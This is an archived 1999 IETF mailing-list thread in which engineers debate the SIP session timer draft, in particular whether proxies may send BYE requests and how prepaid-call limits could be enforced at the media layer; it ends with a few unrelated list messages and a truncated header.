CC: confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Subject: Re: Session timer
References: <3793DFC1.16724E75@dnrc.bell-labs.com> <379407C3.4D4520B0@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Gonzalo Camarillo wrote:
> 
> > In any case, the proxy cannot "force" the UA
> > to end the call if it doesn't want.
> 
> That was my feeling also... anyway, if I am in the middle of a
> conversation and my pre-paid card is out of money, how can somebody
> force me to stop speaking??

There are plenty of ways. The problem is that SIP is not necessarily the
right way. I view SIP as a transactional service, for establishing
sessions. Network servers provide a transactional service, as a result.
All they can do to enforce policy is block subsequent transactions. This
doesn't help tear down the call. Basically, a server can only refuse to
provide service for a service it actually provides. Thus, if you want to
stop people from talking - do it at the media layer. For example, here
are a few possibilities:

1. The calling card is for RSVP service. It allows a timed QoS session.
The card contains some token placed in RESV messages. The routers use
this token in COPS queries to determine the amount of time left on the
card that the reservation is valid for. When the calling card expires,
the routers revert to best effort service.

2. The calling card is for IP service. Its provided to a DHCP server,
which gives an IP address for a certain amount of time. After that time
has expired, the address is revoked. This is accomplished perhaps by
instructing a firewall to block all packets from that address. This kind
of service would be very useful at terminals in airports. You plug in
your laptop, give your "calling card number" and get an IP address for a
time.


3. The calling card is for gateway service. If a calling card is used
for a call through a gateway, the gateway simply ceases to provide
service when time runs out. This means the call is over.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jul 20 06:54:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA13813
	for confctrl-outgoing; Tue, 20 Jul 1999 06:54:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13802
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 06:54:13 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA28089
	for <confctrl@isi.edu>; Tue, 20 Jul 1999 06:54:11 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jul 20 09:53:18 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.61])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA23602
	for <confctrl@isi.edu>; Tue, 20 Jul 1999 09:53:24 -0400 (EDT)
Message-ID: <37947F8F.54B32691@dnrc.bell-labs.com>
Date: Tue, 20 Jul 1999 09:54:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: SIP server]
Content-Type: multipart/mixed;
 boundary="------------7177FE6E72387C976700729E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------7177FE6E72387C976700729E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This message belongs on confctrl, not iptel.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen
--------------7177FE6E72387C976700729E
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from chair.dnrc.bell-labs.com (chair.dnrc.bell-labs.com [135.180.161.201])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA23479;
	Tue, 20 Jul 1999 09:48:04 -0400 (EDT)
Received: from lists.research.bell-labs.com (paperless [135.180.161.172])
	by chair.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA21896;
	Tue, 20 Jul 1999 09:48:00 -0400 (EDT)
Received: by lists.research.bell-labs.com (Postfix)
	id 1C11552D5; Tue, 20 Jul 1999 09:45:21 -0400 (EDT)
Delivered-To: iptel-outgoing-local@paperless.dnrc.bell-labs.com
Received: by lists.research.bell-labs.com (Postfix, from userid 20006)
	id 8BE1752DD; Tue, 20 Jul 1999 09:45:20 -0400 (EDT)
Delivered-To: iptel-local@paperless.dnrc.bell-labs.com
Message-Id: <4.2.0.56.19990720094034.00a40ca0@hermes.usherb.ca>
X-Sender: 94298898@hermes.usherb.ca
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.56 (Beta)
X-Priority: 2 (High)
Date: Tue, 20 Jul 1999 09:43:00 -0400
To: iptel@lists.research.bell-labs.com
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP server
Mime-Version: 1.0
Sender: owner-iptel@lists.research.bell-labs.com
Precedence: bulk
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi Folks!

I would like to know if someone of you knows if there is an existing public 
(or private) SIP server using encryption (OpenPGP based) ? If so, and if it 
is public, is it possible to get the address ?

Thanks for all,

Best regards,

Hans... 

---------
This message came from the IETF IPTEL Working Group Mailing List.

--------------7177FE6E72387C976700729E--


From confctrl-owner  Tue Jul 20 07:33:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA15809
	for confctrl-outgoing; Tue, 20 Jul 1999 07:33:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15794
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 07:33:16 -0700 (PDT)
Received: from alpha.mcit.com (omzrelay01.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00173
	for <confctrl@ISI.EDU>; Tue, 20 Jul 1999 07:33:15 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FF600EG5AZH8B@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 20 Jul 1999 14:30:56 +0000 (GMT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id OAA28159; Tue,
 20 Jul 1999 14:26:59 +0000 (GMT)
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <30KMVY2G>; Tue, 20 Jul 1999 14:31:28 +0000
Content-return: allowed
Date: Tue, 20 Jul 1999 14:30:49 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: Session timer
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@ericsson.com>,
        jdrosen@dnrc.bell-labs.com
Cc: confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Message-id: <93496446F5EDD211A8C100805FEAD74901C287@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BED2BC.8CB3AC64"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BED2BC.8CB3AC64
Content-Type: text/plain;
	charset="iso-8859-1"

Gonzalo,

There are other ways to control a prepaid service.  The SIP messaging isn't
suited to controlling or reporting on the length of a media session, given
that the media generally takes a separate path from the SIP signaling.

I would like to hear from other's on the list as to whether it is a bad idea
to have a SIP proxy originating BYE requests (or any requests in general).
If there is consensus then I will remove this working from the session timer
draft.

Steve

-----Original Message-----
From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@ericsson.com]
Sent: Tuesday, July 20, 1999 12:23 AM
To: jdrosen@dnrc.bell-labs.com
Cc: confctrl@ISI.EDU; Ricky@lmf.ericsson.se
Subject: Re: Session timer


Hi Jonathan,

jdrosen@dnrc.bell-labs.com wrote:
> 
> Gonzalo Camarillo wrote:
> >
> > Hi,
> >
> > About the draft about session timer.
> > I think that it is a good idea. In a pre-paid call, the server could
> > tear down the connection when the user has run out of money... the
> > problem is how to do that.
> >
> > In the draft, the proxy server sends BYE request. This sounds bad to me,
> > since in a race condition, one of the User Agents, could issue a request
> > with the same CSeq that the BYE generated by the proxy, and we would
> > have two messages with the same Cseq number that are completely
> > different.
> >
> > It may be solved with Record-Route header... so, if all the traffic goes
> > through the proxy, it can take care of all the mess that its BYE can
> > trigger...
> 
> No. The proxy can never generate a BYE in a system with any security. It
> will fail authentication.

Another reason to add to the ones I said to try to avoid BYEs sent by a
proxy... ( as I said before it sounds like a bad idea)

> In any case, the proxy cannot "force" the UA
> to end the call if it doesn't want.

That was my feeling also... anyway, if I am in the middle of a
conversation and my pre-paid card is out of money, how can somebody
force me to stop speaking??

If nobody can, everybody is going to buy 0.20$ telephone cards, just
enough to begin the conversation :o)

> The purpose of the session timer is
> not for services like pre-paid calling cards, but merely as a heartbeat
> timer for SIP sessions.

For this purpose it should work fine...

Regards,

Gonzalo

> When the keepalive is missed for some number of
> intervals, the session is assumed dead, and a proxy (and UA) can safely
> destroy state for the call. No BYE should be sent by any parties.
> 
> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

------_=_NextPart_001_01BED2BC.8CB3AC64
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: Session timer</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Gonzalo,</FONT>
</P>

<P><FONT SIZE=3D2>There are other ways to control a prepaid =
service.&nbsp; The SIP messaging isn't suited to controlling or =
reporting on the length of a media session, given that the media =
generally takes a separate path from the SIP signaling.</FONT></P>

<P><FONT SIZE=3D2>I would like to hear from other's on the list as to =
whether it is a bad idea to have a SIP proxy originating BYE requests =
(or any requests in general).&nbsp; If there is consensus then I will =
remove this working from the session timer draft.</FONT></P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Gonzalo Camarillo [<A =
HREF=3D"mailto:Gonzalo.Camarillo@ericsson.com">mailto:Gonzalo.Camarillo@=
ericsson.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, July 20, 1999 12:23 AM</FONT>
<BR><FONT SIZE=3D2>To: jdrosen@dnrc.bell-labs.com</FONT>
<BR><FONT SIZE=3D2>Cc: confctrl@ISI.EDU; Ricky@lmf.ericsson.se</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Session timer</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hi Jonathan,</FONT>
</P>

<P><FONT SIZE=3D2>jdrosen@dnrc.bell-labs.com wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo Camarillo wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; About the draft about session =
timer.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I think that it is a good idea. In a =
pre-paid call, the server could</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; tear down the connection when the user has =
run out of money... the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; problem is how to do that.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; In the draft, the proxy server sends BYE =
request. This sounds bad to me,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; since in a race condition, one of the User =
Agents, could issue a request</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; with the same CSeq that the BYE generated =
by the proxy, and we would</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; have two messages with the same Cseq =
number that are completely</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; different.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; It may be solved with Record-Route =
header... so, if all the traffic goes</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; through the proxy, it can take care of all =
the mess that its BYE can</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; trigger...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; No. The proxy can never generate a BYE in a =
system with any security. It</FONT>
<BR><FONT SIZE=3D2>&gt; will fail authentication.</FONT>
</P>

<P><FONT SIZE=3D2>Another reason to add to the ones I said to try to =
avoid BYEs sent by a</FONT>
<BR><FONT SIZE=3D2>proxy... ( as I said before it sounds like a bad =
idea)</FONT>
</P>

<P><FONT SIZE=3D2>&gt; In any case, the proxy cannot &quot;force&quot; =
the UA</FONT>
<BR><FONT SIZE=3D2>&gt; to end the call if it doesn't want.</FONT>
</P>

<P><FONT SIZE=3D2>That was my feeling also... anyway, if I am in the =
middle of a</FONT>
<BR><FONT SIZE=3D2>conversation and my pre-paid card is out of money, =
how can somebody</FONT>
<BR><FONT SIZE=3D2>force me to stop speaking??</FONT>
</P>

<P><FONT SIZE=3D2>If nobody can, everybody is going to buy 0.20$ =
telephone cards, just</FONT>
<BR><FONT SIZE=3D2>enough to begin the conversation :o)</FONT>
</P>

<P><FONT SIZE=3D2>&gt; The purpose of the session timer is</FONT>
<BR><FONT SIZE=3D2>&gt; not for services like pre-paid calling cards, =
but merely as a heartbeat</FONT>
<BR><FONT SIZE=3D2>&gt; timer for SIP sessions.</FONT>
</P>

<P><FONT SIZE=3D2>For this purpose it should work fine...</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Gonzalo</FONT>
</P>

<P><FONT SIZE=3D2>&gt; When the keepalive is missed for some number =
of</FONT>
<BR><FONT SIZE=3D2>&gt; intervals, the session is assumed dead, and a =
proxy (and UA) can safely</FONT>
<BR><FONT SIZE=3D2>&gt; destroy state for the call. No BYE should be =
sent by any parties.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -Jonathan R.</FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT SIZE=3D2>&gt; Member of Technical =
Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords Corner =
Rd.</FONT>
<BR><FONT SIZE=3D2>&gt; High Speed Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT SIZE=3D2>&gt; FAX: (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; Rm. 4C-526</FONT>
<BR><FONT SIZE=3D2>&gt; EMAIL: jdrosen@bell-labs.com</FONT>
<BR><FONT SIZE=3D2>&gt; URL: <A =
HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Gonzalo =
Camarillo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone :&nbsp; =
+358&nbsp; 9 299 33 71</FONT>
<BR><FONT SIZE=3D2>Oy L M Ericsson =
Ab&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile:&nbsp; +358 40 702 =
35 35</FONT>
<BR><FONT SIZE=3D2>Telecom =
R&amp;D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; Fax&nbsp;&nbsp; :&nbsp; +358&nbsp; 9 299 31 =
18</FONT>
<BR><FONT SIZE=3D2>FIN-02420 =
Jorvas&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Email =
:&nbsp; Gonzalo.Camarillo@ericsson.com</FONT>
<BR><FONT SIZE=3D2>Finland</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BED2BC.8CB3AC64--

From confctrl-owner  Tue Jul 20 07:37:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA15959
	for confctrl-outgoing; Tue, 20 Jul 1999 07:37:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15954
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 07:37:55 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00459
	for <confctrl@ISI.EDU>; Tue, 20 Jul 1999 07:37:53 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id JAA03630;
	Tue, 20 Jul 1999 09:36:16 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id JAA12571;
	Tue, 20 Jul 1999 09:35:59 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA01964; Tue, 20 Jul 1999 09:36:14 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id JAA02473;
	Tue, 20 Jul 1999 09:35:54 -0500 (CDT)
Date: Tue, 20 Jul 1999 09:35:54 -0500 (CDT)
Message-Id: <199907201435.JAA02473@b04a45.exu.ericsson.se>
To: jdrosen@dnrc.bell-labs.com, Gonzalo.Camarillo@ericsson.com
Subject: Re: Session timer
Cc: confctrl@ISI.EDU, Ricky@lmf.ericsson.se
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> That was my feeling also... anyway, if I am in the middle of a
> conversation and my pre-paid card is out of money, how can somebody
> force me to stop speaking??
> 
> If nobody can, everybody is going to buy 0.20$ telephone cards, just
> enough to begin the conversation :o)
> 

This won't be enforced by SIP signalling in general, but rather by some form 
of media proxy/PEP. (such as a PSTN gateway) 

Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

> Regards,
> 
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland
> 


From confctrl-owner  Tue Jul 20 08:04:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17791
	for confctrl-outgoing; Tue, 20 Jul 1999 08:04:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17786
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 08:04:43 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02687
	for <confctrl@ISI.EDU>; Tue, 20 Jul 1999 08:04:42 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA27956;
	Tue, 20 Jul 1999 11:03:51 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA04213;
	Tue, 20 Jul 1999 11:03:51 -0400 (EDT)
Message-ID: <37948FCE.9BD6F5AE@cs.columbia.edu>
Date: Tue, 20 Jul 1999 11:03:42 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>, confctrl@ISI.EDU,
        Ricky@lmf.ericsson.se
Subject: Re: Session timer
References: <3793DFC1.16724E75@dnrc.bell-labs.com> <379407C3.4D4520B0@ericsson.com> <37947E08.5B346106@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> 
> 2. The calling card is for IP service. Its provided to a DHCP server,
> which gives an IP address for a certain amount of time. After that time
> has expired, the address is revoked. This is accomplished perhaps by
> instructing a firewall to block all packets from that address. This kind
> of service would be very useful at terminals in airports. You plug in
> your laptop, give your "calling card number" and get an IP address for a
> time.

Indeed, the Chicago airport apparently has such a wireless service
(minus the calling card) for WaveLAN cards. So does  the 300'
neighborhood of my home.

In addition, you'd have to make sure that the ARP server doesn't allow
somebody else to "steal" an IP address from a paying customer. A new
version of shoulder surfing...

> 
> 3. The calling card is for gateway service. If a calling card is used
> for a call through a gateway, the gateway simply ceases to provide
> service when time runs out. This means the call is over.
> 

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jul 20 11:33:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28924
	for confctrl-outgoing; Tue, 20 Jul 1999 11:33:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28917
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 11:33:57 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24928
	for <confctrl@ISI.EDU>; Tue, 20 Jul 1999 11:33:56 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id NAA22331;
	Tue, 20 Jul 1999 13:32:39 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA23925;
	Tue, 20 Jul 1999 13:32:19 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA15227; Tue, 20 Jul 1999 13:32:34 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id NAA05562;
	Tue, 20 Jul 1999 13:33:11 -0500 (CDT)
Message-Id: <199907201833.NAA05562@b04a24.exu.ericsson.se>
Subject: Re: Session timer
To: Steven.R.Donovan@wcom.com (Donovan, Steven R.)
Date: Tue, 20 Jul 1999 13:33:11 -0500 (CDT)
Cc: Gonzalo.Camarillo@ericsson.com, jdrosen@dnrc.bell-labs.com,
        confctrl@ISI.EDU, Ricky@lmf.ericsson.se
In-Reply-To: <93496446F5EDD211A8C100805FEAD74901C287@nsrip00207.mcit.com> from "Donovan, Steven R." at Jul 20, 99 02:30:49 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I would like to hear from other's on the list as to whether it is a bad idea
>to have a SIP proxy originating BYE requests (or any requests in general).
>If there is consensus then I will remove this working from the session timer
>draft.

More than being a "good" or "bad" idea, I think the main consideration
should be that it won't generally work. Many of the security provisions
put in to the protocol are aimed at keeping proxies from meddling in
sessions. If a given session is encrypted end-to-end, a proxy generated
BYE will be rejected.

But to answer your intended question: I think it is better to assume
that, since the session timer has expired, all functioning nodes will
automatically drop the session without prompting from a proxy.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jul 20 16:12:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA12945
	for confctrl-outgoing; Tue, 20 Jul 1999 16:12:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12940
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 16:12:55 -0700 (PDT)
Received: from emgo_01_imc.pldt.com.ph (emgo_01_imc.pldt.com.ph [203.172.15.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02535
	for <confctrl@ISI.EDU>; Tue, 20 Jul 1999 16:12:48 -0700 (PDT)
Received: by EMGO_01_IMC with Internet Mail Service (5.5.2580.0)
	id <P23PCB8P>; Wed, 21 Jul 1999 07:12:13 +0800
Message-ID: <13E5E2E6158ED011AC1B080009D70A7240B8B1@ESPC_02_MSG>
From: "ROSAL, Antonio S." <ASROSAL@pldt.com.ph>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: FW: remove A.Eberlein@swansea.ac.uk
Date: Wed, 21 Jul 1999 07:12:07 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2580.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


remove asrosal@pldt.com.ph

From confctrl-owner  Wed Jul 21 08:30:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17489
	for confctrl-outgoing; Wed, 21 Jul 1999 08:30:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17484
	for <confctrl@zephyr.isi.edu>; Wed, 21 Jul 1999 08:30:41 -0700 (PDT)
Received: from omzrelay02.mcit.com (omzrelay02.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26208
	for <confctrl@isi.edu>; Wed, 21 Jul 1999 08:30:40 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FF80070Q8DHRM@firewall.mcit.com> for confctrl@isi.edu; Wed,
 21 Jul 1999 15:29:42 +0000 (GMT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id PAA23177 for <confctrl@isi.edu>;
 Wed, 21 Jul 1999 15:25:47 +0000 (GMT)
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <30KMW7GS>; Wed, 21 Jul 1999 15:30:16 +0000
Content-return: allowed
Date: Wed, 21 Jul 1999 15:29:40 +0000
